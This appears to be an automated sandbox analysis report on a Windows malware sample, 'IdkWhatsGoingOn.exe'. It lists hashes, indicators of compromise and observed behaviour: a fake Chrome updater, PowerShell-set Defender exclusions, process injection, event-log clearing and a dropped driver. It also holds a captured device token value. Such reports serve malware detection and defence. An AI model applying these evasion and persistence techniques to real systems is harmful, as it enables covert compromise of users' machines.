Analysis
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max time kernel
150s -
max time network
150s -
platform
windows10-2004_x64 -
resource
win10v2004-20241007-en -
resource tags
arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system -
submitted
22/11/2024, 17:15
Static task
static1
Behavioral task
behavioral1
Sample
IdkWhatsGoingOn.exe
Resource
win7-20241010-en
Behavioral task
behavioral2
Sample
IdkWhatsGoingOn.exe
Resource
win10v2004-20241007-en
General
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Target
IdkWhatsGoingOn.exe
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Size
5.7MB
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MD5
68a8d7bdb7daeee5d2bf27bf36092794
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SHA1
4db786dc2fd0506e7123b43ad8f2b7820b01bbad
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SHA256
4231822a26de5053ef9413968c254f8f4e6b4b345a7ccf4689b3d00ee879c3ab
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SHA512
878dcf38473b159c6d4d866a9bfa8cce38da070efa4e157c4a34d378e952fd26b9a1e76aeb0c117b11574af7916e56bbf6ca0156bac0e075da397439b297dc47
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SSDEEP
98304:w3dhPozxID/ISjmbE+4Q4prv2EiXXFGz/jWhG150OUvug1CJYE:MnHrlmnsv2nkzyhM50OUO
Malware Config
Signatures
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Suspicious use of NtCreateUserProcessOtherParentProcess 9 IoCs
description pid Process procid_target PID 3736 created 3524 3736 Google ChromeUP.exe 56 PID 3736 created 3524 3736 Google ChromeUP.exe 56 PID 3736 created 3524 3736 Google ChromeUP.exe 56 PID 3736 created 3524 3736 Google ChromeUP.exe 56 PID 4788 created 3524 4788 updater.exe 56 PID 4788 created 3524 4788 updater.exe 56 PID 4788 created 3524 4788 updater.exe 56 PID 4788 created 3524 4788 updater.exe 56 PID 4788 created 3524 4788 updater.exe 56 -
Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
pid Process 4900 powershell.exe 1628 powershell.exe 4748 powershell.exe 2984 powershell.exe -
Sets service image path in registry 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\DoSvc\ImagePath = "C:\\Windows\\System32\\svchost.exe -k NetworkService -p" WaaSMedicAgent.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\Control Panel\International\Geo\Nation IdkWhatsGoingOn.exe -
Executes dropped EXE 2 IoCs
pid Process 3736 Google ChromeUP.exe 4788 updater.exe -
Indicator Removal: Clear Windows Event Logs 1 TTPs 1 IoCs
Clear Windows Event Logs to hide the activity of an intrusion.
description ioc Process File opened for modification C:\Windows\System32\Winevt\Logs\Microsoft-Windows-WindowsUpdateClient%4Operational.evtx svchost.exe -
Enumerates connected drives 3 TTPs 23 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
description ioc Process File opened (read-only) \??\H: svchost.exe File opened (read-only) \??\O: svchost.exe File opened (read-only) \??\Q: svchost.exe File opened (read-only) \??\X: svchost.exe File opened (read-only) \??\E: svchost.exe File opened (read-only) \??\K: svchost.exe File opened (read-only) \??\N: svchost.exe File opened (read-only) \??\S: svchost.exe File opened (read-only) \??\U: svchost.exe File opened (read-only) \??\V: svchost.exe File opened (read-only) \??\G: svchost.exe File opened (read-only) \??\J: svchost.exe File opened (read-only) \??\L: svchost.exe File opened (read-only) \??\R: svchost.exe File opened (read-only) \??\P: svchost.exe File opened (read-only) \??\T: svchost.exe File opened (read-only) \??\W: svchost.exe File opened (read-only) \??\Y: svchost.exe File opened (read-only) \??\A: svchost.exe File opened (read-only) \??\B: svchost.exe File opened (read-only) \??\I: svchost.exe File opened (read-only) \??\M: svchost.exe File opened (read-only) \??\Z: svchost.exe -
Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
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Drops file in System32 directory 19 IoCs
description ioc Process File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File opened for modification C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Scan svchost.exe File opened for modification C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Maintenance Work svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_CBDCCBFE4F7A916411C1E69BDD97BB04 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506 svchost.exe File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log powershell.exe File opened for modification C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Work svchost.exe File opened for modification C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Wake To Work svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\7423F88C7F265F0DEFC08EA88C3BDE45_AA1E8580D4EBC816148CE81268683776 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_6372E0472AFF76BB926C97818BC773B9 OfficeClickToRun.exe File opened for modification C:\Windows\System32\Tasks\GoogleUpdateTaskMachineQC svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\FB0D848F74F70BB2EAA93746D24D9749 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_6372E0472AFF76BB926C97818BC773B9 OfficeClickToRun.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_0FB9553B978E7F00C6B2309507DEB64A svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_6372E0472AFF76BB926C97818BC773B9 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules.xml OfficeClickToRun.exe -
Suspicious use of SetThreadContext 4 IoCs
description pid Process procid_target PID 3736 set thread context of 5088 3736 Google ChromeUP.exe 93 PID 4788 set thread context of 2772 4788 updater.exe 110 PID 4788 set thread context of 4052 4788 updater.exe 113 PID 4788 set thread context of 2332 4788 updater.exe 114 -
Drops file in Program Files directory 2 IoCs
description ioc Process File created C:\Program Files\Google\Chrome\updater.exe Google ChromeUP.exe File created C:\Program Files\Google\Libs\WR64.sys updater.exe -
Drops file in Windows directory 8 IoCs
description ioc Process File opened for modification C:\Windows\WindowsUpdate.log svchost.exe File opened for modification C:\Windows\SoftwareDistribution\DataStore\Logs\edb.chk svchost.exe File opened for modification C:\Windows\SoftwareDistribution\DataStore\Logs\edb.log svchost.exe File opened for modification C:\Windows\SoftwareDistribution\DataStore\DataStore.edb svchost.exe File opened for modification C:\Windows\SoftwareDistribution\DataStore\DataStore.jfm svchost.exe File opened for modification C:\Windows\SoftwareDistribution\ReportingEvents.log svchost.exe File created C:\Windows\Logs\CBS\CBS.log TrustedInstaller.exe File opened for modification C:\Windows\Logs\CBS\CBS.log TrustedInstaller.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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System Location Discovery: System Language Discovery 1 TTPs 3 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language powershell.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language IdkWhatsGoingOn.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language powershell.exe -
Checks processor information in registry 2 TTPs 8 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz svchost.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 mousocoreworker.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz mousocoreworker.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier mousocoreworker.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString mousocoreworker.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 mousocoreworker.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1 mousocoreworker.exe Key opened \Registry\Machine\HARDWARE\DESCRIPTION\System\CentralProcessor\0 svchost.exe -
Enumerates system info in registry 2 TTPs 2 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS mousocoreworker.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU mousocoreworker.exe -
Modifies data under HKEY_USERS 64 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Set value (data) \REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\Immersive\production\Token\{0CB4A94A-6E8C-477B-88C8-A3799FC97414}\DeviceTicket = 0100000001000000d08c9ddf0115d1118c7a00c04fc297eb01000000d8c5ae66c44e0548aebe78fbbf17ad2100000000020000000000106600000001000020000000b6e8c7f75fd1f3c9b5dc0771b8a65088dbfec9cb2ffffafae42e59b6444316a0000000000e8000000002000020000000c69c687d4076fcdebedbcd59119576a1f8f5bb02f8d6bdf9b0c993113e2c78bcb0030000447a86edc925134bd446880a68e1ead8e14dcfd5998d3a112adc8794281dd37d4af0877798e2e205b229feca4416bd262b7a36c180d6c51ac017b2047d66019d6e1cb055f5a4a2c2d53868b042681c12320d136c0cb3a13ed6f0ed6f86579592ea029b0615e0c8a4d9de77c8e6e950341b459cc0e0a66fa900702a84b478dedc643020e42c755826ad4a63567f091667b0cf70a7a9a3466da05280ed8b92a5a9c65f39103586614226003836d061bef256d9a5ab25fc9a24234a5c6b0c3ac2caf80776fec3b096f2fbb7cbb00231049467229f48cb014e19c02160235c6f0365941506fbd809aa6eb0e6eea62c8f1882ee7587e8a090cf0c50122cc962018256f52bbb12b1ac217b625359d5d3d7d702bed4cd9a8138bcdaf03efd2fe89370e85a30089344c2b9c74b569eafd4ef72772a2d6830d5794b9ccdb12a904b39a03ffe14126bf3a91bd56bdc6695ba9ca5e04ef1c083f68bd872493091aeca821cefba891cfa21a8cb6f6e5f9f5a88fb58334bd1745a8fea8aeb120e8243b8fce247949b8d7c41c9a326f2e042b659d4d0ebda608e85e3eff3fd0c3ac6a596598652ad06da08061000b8b7c6582d220c2ad0d0a511a9100c65324ed648c537edd84435f78248d1e263089283649f720ba03688c7704883cf99c87d0202355f82e73ee9904e20702785f373b45224ddea248842f698af198e430a08d3fd176c7bbccae312907e1ac1b953e416e29d5145f1dd564d73335b7ca1dc0b01273ac8486ffa4cea4b07856d5a573c9a190f8beddb7581e4f1cd318e4f9ec789a4b32225fd604d8710a6c6de82d436a4159e7f8783a9b3712c2a5834ba5349b52debe43c98e726e35265e62509c1d88a87b848d5c7df643af83fbdb20cff7d610c3f097d200f965816182115ef2b21989ea5f67a371fd68079df1f07a2a6e4630b78237b5995791752f0204327d50ac77f39a4d5d79fa886d85b8923ec12467d6f37103eaa879f52165a21ed290b740500d03a9432b52b2cc7cdab9040fec14c2553f1f7e52e93b040714f831fd7e5d5c417e6b1dcdad9889836a5085e2bd62e170d3d28a03d489087f7db246e658c6a848f3d92831314260a232f2f5648a82a3160d6213cffc55c1849af56778d75d32eb737350d857de1bf9fc881d96341c29126652d95adb80c8655325a3f260a423838a53a75a080c34c8a797e676aa139c63c3d64bf95ec9608db7132fae8317d3e780ea92e602357ae0436e8c8bd0d8ac66adfd1b7ccc47b5d3a13f755a653879f945d806cc4d7b46ccce225cc093b2eae40eedd0262beebc8d1da557fa2e98f98ab30586da440000000805d73833adf137ad54a7504417716f4fdde1e78765faf83b50a517193c4b5531f357b5617d4ebce4e826a0456719c9cadb1125a8b16f5ff73f30ce75806bbb1 mousocoreworker.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\SmartCardRoot svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software mousocoreworker.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\Disallowed svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs WaaSMedicAgent.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\CA\CRLs svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs WaaSMedicAgent.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot\CTLs svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSCategoriesSeverities = "1329 10,1329 50,1329 15,1329 100,1329 6" OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\Immersive\production\Token\{0CB4A94A-6E8C-477B-88C8-A3799FC97414} mousocoreworker.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\SignalManager\Peek mousocoreworker.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\CA\Certificates svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\trust\Certificates svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\SignalManager\Peek\CacheStore mousocoreworker.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\trust\CTLs svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\SignalManager mousocoreworker.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\Root\Certificates svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe -
Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 1612 powershell.exe 956 powershell.exe 1612 powershell.exe 956 powershell.exe 3736 Google ChromeUP.exe 3736 Google ChromeUP.exe 4900 powershell.exe 4900 powershell.exe 3736 Google ChromeUP.exe 3736 Google ChromeUP.exe 3736 Google ChromeUP.exe 3736 Google ChromeUP.exe 5088 dialer.exe 5088 dialer.exe 4748 powershell.exe 5088 dialer.exe 5088 dialer.exe 4748 powershell.exe 5088 dialer.exe 5088 dialer.exe 5088 dialer.exe 5088 dialer.exe 4748 powershell.exe 5088 dialer.exe 5088 dialer.exe 5088 dialer.exe 5088 dialer.exe 5088 dialer.exe 5088 dialer.exe 5088 dialer.exe 3736 Google ChromeUP.exe 3736 Google ChromeUP.exe 5088 dialer.exe 5088 dialer.exe 5088 dialer.exe 5088 dialer.exe 5088 dialer.exe 5088 dialer.exe 5088 dialer.exe 5088 dialer.exe 5088 dialer.exe 5088 dialer.exe 5088 dialer.exe 5088 dialer.exe 5088 dialer.exe 5088 dialer.exe 5088 dialer.exe 5088 dialer.exe 5088 dialer.exe 5088 dialer.exe 5088 dialer.exe 5088 dialer.exe 5088 dialer.exe 5088 dialer.exe 5088 dialer.exe 5088 dialer.exe 5088 dialer.exe 5088 dialer.exe 5088 dialer.exe 5088 dialer.exe 5088 dialer.exe 5088 dialer.exe 5088 dialer.exe 5088 dialer.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 1612 powershell.exe Token: SeDebugPrivilege 956 powershell.exe Token: SeDebugPrivilege 4900 powershell.exe Token: SeDebugPrivilege 5088 dialer.exe Token: SeDebugPrivilege 4748 powershell.exe Token: SeIncreaseQuotaPrivilege 4748 powershell.exe Token: SeSecurityPrivilege 4748 powershell.exe Token: SeTakeOwnershipPrivilege 4748 powershell.exe Token: SeLoadDriverPrivilege 4748 powershell.exe Token: SeSystemProfilePrivilege 4748 powershell.exe Token: SeSystemtimePrivilege 4748 powershell.exe Token: SeProfSingleProcessPrivilege 4748 powershell.exe Token: SeIncBasePriorityPrivilege 4748 powershell.exe Token: SeCreatePagefilePrivilege 4748 powershell.exe Token: SeBackupPrivilege 4748 powershell.exe Token: SeRestorePrivilege 4748 powershell.exe Token: SeShutdownPrivilege 4748 powershell.exe Token: SeDebugPrivilege 4748 powershell.exe Token: SeSystemEnvironmentPrivilege 4748 powershell.exe Token: SeRemoteShutdownPrivilege 4748 powershell.exe Token: SeUndockPrivilege 4748 powershell.exe Token: SeManageVolumePrivilege 4748 powershell.exe Token: 33 4748 powershell.exe Token: 34 4748 powershell.exe Token: 35 4748 powershell.exe Token: 36 4748 powershell.exe Token: SeAssignPrimaryTokenPrivilege 2216 svchost.exe Token: SeIncreaseQuotaPrivilege 2216 svchost.exe Token: SeSecurityPrivilege 2216 svchost.exe Token: SeTakeOwnershipPrivilege 2216 svchost.exe Token: SeLoadDriverPrivilege 2216 svchost.exe Token: SeSystemtimePrivilege 2216 svchost.exe Token: SeBackupPrivilege 2216 svchost.exe Token: SeRestorePrivilege 2216 svchost.exe Token: SeShutdownPrivilege 2216 svchost.exe Token: SeSystemEnvironmentPrivilege 2216 svchost.exe Token: SeUndockPrivilege 2216 svchost.exe Token: SeManageVolumePrivilege 2216 svchost.exe Token: SeAssignPrimaryTokenPrivilege 2216 svchost.exe Token: SeIncreaseQuotaPrivilege 2216 svchost.exe Token: SeSecurityPrivilege 2216 svchost.exe Token: SeTakeOwnershipPrivilege 2216 svchost.exe Token: SeLoadDriverPrivilege 2216 svchost.exe Token: SeSystemtimePrivilege 2216 svchost.exe Token: SeBackupPrivilege 2216 svchost.exe Token: SeRestorePrivilege 2216 svchost.exe Token: SeShutdownPrivilege 2216 svchost.exe Token: SeSystemEnvironmentPrivilege 2216 svchost.exe Token: SeUndockPrivilege 2216 svchost.exe Token: SeManageVolumePrivilege 2216 svchost.exe Token: SeAssignPrimaryTokenPrivilege 2216 svchost.exe Token: SeIncreaseQuotaPrivilege 2216 svchost.exe Token: SeSecurityPrivilege 2216 svchost.exe Token: SeTakeOwnershipPrivilege 2216 svchost.exe Token: SeLoadDriverPrivilege 2216 svchost.exe Token: SeSystemtimePrivilege 2216 svchost.exe Token: SeBackupPrivilege 2216 svchost.exe Token: SeRestorePrivilege 2216 svchost.exe Token: SeShutdownPrivilege 2216 svchost.exe Token: SeSystemEnvironmentPrivilege 2216 svchost.exe Token: SeUndockPrivilege 2216 svchost.exe Token: SeManageVolumePrivilege 2216 svchost.exe Token: SeAssignPrimaryTokenPrivilege 2216 svchost.exe Token: SeIncreaseQuotaPrivilege 2216 svchost.exe -
Suspicious use of UnmapMainImage 1 IoCs
pid Process 2760 RuntimeBroker.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 4388 wrote to memory of 956 4388 IdkWhatsGoingOn.exe 83 PID 4388 wrote to memory of 956 4388 IdkWhatsGoingOn.exe 83 PID 4388 wrote to memory of 956 4388 IdkWhatsGoingOn.exe 83 PID 4388 wrote to memory of 1612 4388 IdkWhatsGoingOn.exe 85 PID 4388 wrote to memory of 1612 4388 IdkWhatsGoingOn.exe 85 PID 4388 wrote to memory of 1612 4388 IdkWhatsGoingOn.exe 85 PID 4388 wrote to memory of 3736 4388 IdkWhatsGoingOn.exe 87 PID 4388 wrote to memory of 3736 4388 IdkWhatsGoingOn.exe 87 PID 3736 wrote to memory of 5088 3736 Google ChromeUP.exe 93 PID 5088 wrote to memory of 608 5088 dialer.exe 5 PID 5088 wrote to memory of 660 5088 dialer.exe 7 PID 5088 wrote to memory of 944 5088 dialer.exe 12 PID 5088 wrote to memory of 1016 5088 dialer.exe 13 PID 5088 wrote to memory of 388 5088 dialer.exe 14 PID 5088 wrote to memory of 524 5088 dialer.exe 16 PID 5088 wrote to memory of 1120 5088 dialer.exe 17 PID 5088 wrote to memory of 1140 5088 dialer.exe 18 PID 5088 wrote to memory of 1148 5088 dialer.exe 19 PID 5088 wrote to memory of 1156 5088 dialer.exe 20 PID 5088 wrote to memory of 1236 5088 dialer.exe 21 PID 5088 wrote to memory of 1304 5088 dialer.exe 22 PID 5088 wrote to memory of 1320 5088 dialer.exe 23 PID 5088 wrote to memory of 1436 5088 dialer.exe 24 PID 5088 wrote to memory of 1452 5088 dialer.exe 25 PID 5088 wrote to memory of 1496 5088 dialer.exe 26 PID 5088 wrote to memory of 1508 5088 dialer.exe 27 PID 5088 wrote to memory of 1652 5088 dialer.exe 28 PID 5088 wrote to memory of 1696 5088 dialer.exe 29 PID 5088 wrote to memory of 1732 5088 dialer.exe 30 PID 5088 wrote to memory of 1776 5088 dialer.exe 31 PID 5088 wrote to memory of 1808 5088 dialer.exe 32 PID 5088 wrote to memory of 1904 5088 dialer.exe 33 PID 5088 wrote to memory of 1916 5088 dialer.exe 34 PID 5088 wrote to memory of 1956 5088 dialer.exe 35 PID 5088 wrote to memory of 2040 5088 dialer.exe 36 PID 5088 wrote to memory of 1816 5088 dialer.exe 37 PID 5088 wrote to memory of 2204 5088 dialer.exe 39 PID 5088 wrote to memory of 2216 5088 dialer.exe 40 PID 5088 wrote to memory of 2252 5088 dialer.exe 41 PID 5088 wrote to memory of 2476 5088 dialer.exe 42 PID 5088 wrote to memory of 2500 5088 dialer.exe 43 PID 5088 wrote to memory of 2508 5088 dialer.exe 44 PID 5088 wrote to memory of 2520 5088 dialer.exe 45 PID 5088 wrote to memory of 2620 5088 dialer.exe 46 PID 5088 wrote to memory of 2660 5088 dialer.exe 47 PID 5088 wrote to memory of 2668 5088 dialer.exe 48 PID 5088 wrote to memory of 2884 5088 dialer.exe 50 PID 5088 wrote to memory of 2896 5088 dialer.exe 51 PID 5088 wrote to memory of 2904 5088 dialer.exe 52 PID 5088 wrote to memory of 1976 5088 dialer.exe 53 PID 5088 wrote to memory of 3124 5088 dialer.exe 54 PID 5088 wrote to memory of 3428 5088 dialer.exe 55 PID 5088 wrote to memory of 3524 5088 dialer.exe 56 PID 5088 wrote to memory of 3656 5088 dialer.exe 57 PID 5088 wrote to memory of 3856 5088 dialer.exe 58 PID 5088 wrote to memory of 4012 5088 dialer.exe 60 PID 5088 wrote to memory of 2760 5088 dialer.exe 62 PID 5088 wrote to memory of 4948 5088 dialer.exe 65 PID 5088 wrote to memory of 2200 5088 dialer.exe 66 PID 5088 wrote to memory of 1824 5088 dialer.exe 68 PID 5088 wrote to memory of 5116 5088 dialer.exe 69 PID 5088 wrote to memory of 3340 5088 dialer.exe 70 PID 5088 wrote to memory of 2688 5088 dialer.exe 71 PID 5088 wrote to memory of 3928 5088 dialer.exe 72 -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
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C:\Windows\system32\winlogon.exewinlogon.exe1⤵PID:608
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C:\Windows\system32\dwm.exe"dwm.exe"2⤵PID:1016
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C:\Windows\system32\lsass.exeC:\Windows\system32\lsass.exe1⤵PID:660
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM1⤵PID:944
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc1⤵PID:388
